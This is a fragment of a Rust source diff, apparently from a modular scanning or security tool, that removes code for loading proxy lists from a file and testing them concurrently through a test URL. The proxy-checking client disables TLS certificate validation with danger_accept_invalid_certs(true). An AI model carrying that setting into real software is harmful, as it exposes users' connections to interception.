use anyhow::{Result, anyhow, Context};
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest;
use tokio::sync::Semaphore;
use url::Url;
use regex::Regex;
use once_cell::sync::Lazy; // Added for safe static regex initialization
@@ -24,16 +19,9 @@ const MAX_TARGET_LENGTH: usize = 2048;
const MAX_MODULE_PATH_LENGTH: usize = 512;
/// Maximum file size to read (10MB) - prevents reading huge files
const MAX_FILE_SIZE: u64 = 10 * 1024 * 1024;
/// Maximum number of proxies to process
const MAX_PROXIES: usize = 100000;
/// Maximum parallel proxy tests
const MAX_PARALLEL_PROXIES: usize = 1000;
/// Maximum timeout for proxy tests (5 minutes)
const MAX_PROXY_TIMEOUT_SECS: u64 = 300;
/// Maximum length for command inputs to prevent DoS
const MAX_COMMAND_LENGTH: usize = 8192;
@@ -604,361 +592,8 @@ pub fn find_modules(keyword: &str) {
}
}
const SUPPORTED_PROXY_SCHEMES: &[&str] = &["http", "https", "socks4", "socks4a", "socks5", "socks5h"];
#[derive(Debug, Clone)]
pub struct ProxyParseError {
pub line_number: usize,
pub content: String,
pub reason: String,
}
#[derive(Debug, Clone)]
pub struct ProxyLoadSummary {
pub proxies: Vec<String>,
pub skipped: Vec<ProxyParseError>,
}
#[derive(Debug, Clone)]
pub struct ProxyTestFailure {
pub proxy: String,
pub reason: String,
}
#[derive(Debug, Clone)]
pub struct ProxyTestSummary {
pub working: Vec<String>,
pub failed: Vec<ProxyTestFailure>,
}
/// Validates and sanitizes a proxy URL
fn validate_proxy_url(url: &Url) -> Result<()> {
// Check scheme
if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
}
// Validate host
let host = url.host_str()
.ok_or_else(|| anyhow!("missing proxy host"))?;
// Validate host length
if host.is_empty() {
return Err(anyhow!("proxy host cannot be empty"));
}
if host.len() > 253 { // Max DNS hostname length
return Err(anyhow!("proxy host too long (max 253 characters)"));
}
// Validate hostname format (basic check)
static PROXY_HOST_RE: Lazy<Regex> = Lazy::new(|| Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("Invalid Regex"));
if !PROXY_HOST_RE.is_match(host) {
return Err(anyhow!("invalid proxy host format"));
}
// Check for localhost/private IP abuse (warning only, not blocking)
if host == "localhost" || host == "127.0.0.1" || host == "::1" {
// Allow but could log warning in production
}
// Validate port
let port = url.port()
.ok_or_else(|| anyhow!("missing proxy port"))?;
if port == 0 {
return Err(anyhow!("proxy port cannot be 0"));
}
// Port is already validated to be in u16 range (0-65535) by Url::parse
// We just need to check it's not 0 (already checked above)
// Additional validation: check for common restricted ports if needed
Ok(())
}
/// Attempt to normalise and validate a proxy entry with enhanced security
fn normalize_proxy_candidate(line: &str) -> Result<String> {
let trimmed = line.trim();
// Input validation
if trimmed.is_empty() {
return Err(anyhow!("empty line"));
}
// Length check to prevent DoS
if trimmed.len() > 2048 {
return Err(anyhow!("proxy line too long (max 2048 characters)"));
}
// Sanitize input - remove control characters (but allow newline/carriage return for line processing)
let sanitized: String = trimmed
.chars()
.filter(|c| {
let ch = *c;
!ch.is_control() || ch == '\n' || ch == '\r'
})
.collect();
if sanitized.is_empty() {
return Err(anyhow!("proxy line contains only invalid characters"));
}
// Add scheme if missing
let candidate = if sanitized.contains("://") {
sanitized
} else {
format!("http://{}", sanitized)
};
// Parse URL
let url = Url::parse(&candidate)
.map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
// Validate the proxy URL
validate_proxy_url(&url)?;
Ok(candidate)
}
/// Load proxies from a file with enhanced security and validation
pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
// Input validation
if filename.is_empty() {
return Err(anyhow!("filename cannot be empty"));
}
// Path validation - prevent path traversal
let path = Path::new(filename);
// Check for path traversal attempts
if filename.contains("..") {
return Err(anyhow!("path traversal detected in filename: '{}'", filename));
}
// Resolve to absolute path to check
let canonical = path.canonicalize()
.map_err(|e| anyhow!("failed to resolve file path '{}': {}", filename, e))?;
// Check file exists and is a regular file
if !canonical.is_file() {
return Err(anyhow!("'{}' is not a regular file", filename));
}
// Check file size to prevent reading huge files
let metadata = fs::metadata(&canonical)
.with_context(|| format!("failed to read file metadata for '{}'", filename))?;
if metadata.len() > MAX_FILE_SIZE {
return Err(anyhow!(
"file too large (max {} bytes, got {} bytes)",
MAX_FILE_SIZE,
metadata.len()
));
}
// Open file
let file = fs::File::open(&canonical)
.with_context(|| format!("failed to open proxy file '{}'", filename))?;
let reader = BufReader::new(file);
let mut proxies = Vec::new();
let mut skipped = Vec::new();
let mut line_count = 0usize;
for (idx, line_res) in reader.lines().enumerate() {
line_count = idx + 1;
// Limit number of lines to process
if line_count > MAX_PROXIES {
skipped.push(ProxyParseError {
line_number: line_count,
content: format!("... (truncated after {} lines)", MAX_PROXIES),
reason: format!("file exceeds maximum line limit ({})", MAX_PROXIES),
});
break;
}
let raw_line = line_res
.with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
let trimmed = raw_line.trim();
// Skip empty lines and comments
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
continue;
}
match normalize_proxy_candidate(trimmed) {
Ok(proxy) => proxies.push(proxy),
Err(err) => skipped.push(ProxyParseError {
line_number: idx + 1,
content: if trimmed.len() > 100 {
format!("{}...", &trimmed[..100])
} else {
trimmed.to_string()
},
reason: err.to_string(),
}),
}
}
if proxies.is_empty() {
return Err(anyhow!("no valid proxies found in '{}' (processed {} lines)", filename, line_count));
}
// Limit number of proxies
if proxies.len() > MAX_PROXIES {
let original_count = proxies.len();
proxies.truncate(MAX_PROXIES);
return Err(anyhow!(
"too many proxies (max {}, found {}). Truncated to {}",
MAX_PROXIES,
original_count,
MAX_PROXIES
));
}
Ok(ProxyLoadSummary { proxies, skipped })
}
/// Test proxies concurrently with enhanced validation and resource limits
pub async fn test_proxies(
proxies: &[String],
test_url: &str,
timeout_secs: u64,
max_parallel: usize,
) -> ProxyTestSummary {
// Input validation
if proxies.is_empty() {
return ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
}
// Validate and limit inputs
let timeout_secs = timeout_secs.min(MAX_PROXY_TIMEOUT_SECS).max(1);
let max_parallel = max_parallel.min(MAX_PARALLEL_PROXIES).max(1);
// Limit number of proxies to test
let proxies_to_test = if proxies.len() > MAX_PROXIES {
&proxies[..MAX_PROXIES]
} else {
proxies
};
// Validate test URL
let test_url = test_url.trim();
if test_url.is_empty() {
return ProxyTestSummary {
working: Vec::new(),
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
proxy: p.clone(),
reason: "test URL is empty".to_string(),
}).collect(),
};
}
// Validate URL format
if let Err(e) = Url::parse(test_url) {
return ProxyTestSummary {
working: Vec::new(),
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
proxy: p.clone(),
reason: format!("invalid test URL: {}", e),
}).collect(),
};
}
let timeout = Duration::from_secs(timeout_secs);
let semaphore = Arc::new(Semaphore::new(max_parallel));
let mut tasks = FuturesUnordered::new();
for proxy in proxies_to_test.iter().cloned() {
let test_url = test_url.to_string();
let semaphore = Arc::clone(&semaphore);
tasks.push(tokio::spawn(async move {
let permit = match semaphore.acquire_owned().await {
Ok(p) => p,
Err(_) => {
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
}
};
let _permit = permit;
let result = check_proxy(&proxy, &test_url, timeout).await;
(proxy, result)
}));
}
let mut summary = ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
while let Some(res) = tasks.next().await {
match res {
Ok((proxy, Ok(()))) => summary.working.push(proxy),
Ok((proxy, Err(err))) => summary.failed.push(ProxyTestFailure {
proxy,
reason: err.to_string(),
}),
Err(join_err) => summary.failed.push(ProxyTestFailure {
proxy: "<spawn failed>".to_string(),
reason: join_err.to_string(),
}),
}
}
summary
}
/// Check a single proxy with enhanced error handling and validation
async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
// Validate inputs
if proxy.is_empty() {
return Err(anyhow!("proxy cannot be empty"));
}
if test_url.is_empty() {
return Err(anyhow!("test URL cannot be empty"));
}
// Validate URL format
let _test_url_parsed = Url::parse(test_url)
.map_err(|e| anyhow!("invalid test URL '{}': {}", test_url, e))?;
// Create proxy configuration
let proxy_cfg = reqwest::Proxy::all(proxy)
.with_context(|| format!("invalid proxy '{}'", proxy))?;
// Build HTTP client with timeout
let client = reqwest::Client::builder()
.timeout(timeout)
.proxy(proxy_cfg)
.danger_accept_invalid_certs(true)
.build()
.context("failed to build reqwest client")?;
// Make request with timeout
let response = client
.get(test_url)
.timeout(timeout)
.send()
.await
.with_context(|| format!("request via proxy '{}' failed", proxy))?;
// Check response status
let status = response.status();
if !status.is_success() {
return Err(anyhow!(
"received HTTP status {} while hitting {}",
status,
test_url
));
}
Ok(())
}
/// Extract IP address or hostname from target string.
/// Handles formats: IP:port, [IPv6]:port, hostname:port, CIDR notation